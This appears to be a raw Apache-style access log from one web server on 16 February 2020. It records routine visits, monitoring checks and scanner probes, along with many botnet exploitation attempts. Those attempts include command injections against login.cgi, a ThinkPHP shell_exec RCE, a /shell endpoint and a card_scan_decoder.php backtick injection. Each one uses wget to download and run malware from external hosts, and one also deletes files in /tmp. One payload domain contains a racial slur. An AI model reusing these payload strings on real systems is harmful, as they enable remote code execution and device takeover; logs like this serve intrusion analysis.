190.2.102.140 - - [16/Feb/2020:06:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
121.161.99.72 - - [16/Feb/2020:06:35:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [16/Feb/2020:06:35:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [16/Feb/2020:06:35:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [16/Feb/2020:06:35:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [16/Feb/2020:06:36:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
93.147.43.250 - - [16/Feb/2020:06:36:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.143.155.138 - - [16/Feb/2020:06:36:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
103.79.78.40 - - [16/Feb/2020:06:38:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
211.218.0.195 - - [16/Feb/2020:06:39:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [16/Feb/2020:06:40:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [16/Feb/2020:06:40:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [16/Feb/2020:06:40:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [16/Feb/2020:06:40:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
38.95.33.10 - - [16/Feb/2020:06:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
179.50.160.245 - - [16/Feb/2020:06:42:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.228.56.36 - - [16/Feb/2020:06:47:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
73.85.59.215 - - [16/Feb/2020:06:52:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.176.89.252 - - [16/Feb/2020:06:55:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
65.99.152.25 - - [16/Feb/2020:06:59:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.14.185.102 - - [16/Feb/2020:07:01:21 +0100] "GET / HTTP/1.1" 400 330 "-" "Mozilla/5.0 zgrab/0.x"
124.218.93.41 - - [16/Feb/2020:07:04:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
128.14.133.58 - - [16/Feb/2020:07:07:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
93.175.161.43 - - [16/Feb/2020:07:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
122.51.245.44 - - [16/Feb/2020:07:13:02 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.245.44 - - [16/Feb/2020:07:13:03 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.245.44 - - [16/Feb/2020:07:13:03 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.245.44 - - [16/Feb/2020:07:13:04 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.245.44 - - [16/Feb/2020:07:13:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.57.82.126 - - [16/Feb/2020:07:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.242.169.171 - - [16/Feb/2020:07:17:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.109.196.82 - - [16/Feb/2020:07:24:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
36.78.26.21 - - [16/Feb/2020:07:26:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.33 - - [16/Feb/2020:07:27:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
175.35.119.37 - - [16/Feb/2020:07:28:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
27.216.245.215 - - [16/Feb/2020:07:34:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
2.185.149.176 - - [16/Feb/2020:07:34:41 +0100] "GET /MFMwUTBPME0wSzAJBgU\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 320 "-" "Unstable/2.0"
212.156.219.164 - - [16/Feb/2020:07:37:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
197.230.162.102 - - [16/Feb/2020:07:40:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
190.94.136.13 - - [16/Feb/2020:07:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.1.229.142 - - [16/Feb/2020:07:49:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.251.143.127 - - [16/Feb/2020:07:50:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
58.189.208.61 - - [16/Feb/2020:07:53:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
112.171.93.177 - - [16/Feb/2020:07:57:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.216.26.22 - - [16/Feb/2020:07:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
31.44.176.6 - - [16/Feb/2020:07:59:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
117.0.196.128 - - [16/Feb/2020:08:00:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.114.224.102 - - [16/Feb/2020:08:02:15 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
189.126.64.138 - - [16/Feb/2020:08:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
96.23.104.122 - - [16/Feb/2020:08:16:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
221.125.44.233 - - [16/Feb/2020:08:23:32 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
139.162.119.197 - - [16/Feb/2020:08:24:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
83.97.20.34 - - [16/Feb/2020:08:26:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
49.235.146.76 - - [16/Feb/2020:08:28:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.33 - - [16/Feb/2020:08:28:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.198.66.62 - - [16/Feb/2020:08:31:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.85.91.19 - - [16/Feb/2020:08:31:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.16.232.228 - - [16/Feb/2020:08:32:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
187.11.50.45 - - [16/Feb/2020:08:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.219.32.77 - - [16/Feb/2020:08:37:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
123.207.247.68 - - [16/Feb/2020:08:41:52 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
123.207.247.68 - - [16/Feb/2020:08:41:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
85.33.39.225 - - [16/Feb/2020:08:43:54 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
186.15.191.171 - - [16/Feb/2020:08:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
186.15.191.171 - - [16/Feb/2020:08:44:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
118.89.144.131 - - [16/Feb/2020:08:47:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
204.12.220.106 - - [16/Feb/2020:08:47:16 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
204.12.220.106 - - [16/Feb/2020:08:47:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
81.180.86.47 - - [16/Feb/2020:08:47:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.30.85.241 - - [16/Feb/2020:08:48:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
114.41.131.187 - - [16/Feb/2020:08:49:53 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
35.240.197.20 - - [16/Feb/2020:08:51:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.46.225.107 - - [16/Feb/2020:08:53:32 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
114.38.241.55 - - [16/Feb/2020:08:59:10 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
112.27.187.117 - - [16/Feb/2020:08:59:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
112.27.187.117 - - [16/Feb/2020:08:59:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
60.148.249.35 - - [16/Feb/2020:09:01:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
96.23.104.122 - - [16/Feb/2020:09:02:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [16/Feb/2020:09:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [16/Feb/2020:09:07:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:09:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [16/Feb/2020:09:10:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:09:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.73.184.168 - - [16/Feb/2020:09:14:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:09:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.79.62.114 - - [16/Feb/2020:09:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [16/Feb/2020:09:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.39.244.65 - - [16/Feb/2020:09:17:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
111.206.59.134 - - [16/Feb/2020:09:17:52 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "\x16\x03" 501 317 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "Query" 501 320 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "\x05\x04" 501 317 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:02 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "HELP" 501 319 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "Subscribe" 501 324 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "" 501 315 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:02 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:02 +0100] "" 501 315 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:03 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:03 +0100] "show info" 400 329 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:03 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:03 +0100] "HELP" 501 319 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:04 +0100] "\x16\x03" 501 317 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:04 +0100] "serverstatus" 501 327 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "get_info" 501 323 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:03 +0100] "< NTP/1.1 >" 400 329 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "EHLO" 501 319 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:02 +0100] "< NTP/1.0 >" 400 329 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "stats" 501 320 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "#ST" 501 318 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "NXSH-5.6.7" 501 325 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "<" 501 319 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "\x124" 501 317 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "< NTP/1.2 >" 400 329 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "0\x84" 501 317 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "\x01default" 501 323 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "*1" 501 317 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "ver" 501 318 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "TSH " 501 318 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "init" 501 319 "-" "-"
111.206.59.142 - - [16/Feb/2020:09:18:06 +0100] "CONNECT01 v09" 400 329 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:06 +0100] "GET SERVER INFO" 400 329 "-" "-"
111.206.59.134 - - [16/Feb/2020:09:18:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
114.33.1.251 - - [16/Feb/2020:09:18:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:09:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.125.226.224 - - [16/Feb/2020:09:20:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [16/Feb/2020:09:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [16/Feb/2020:09:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
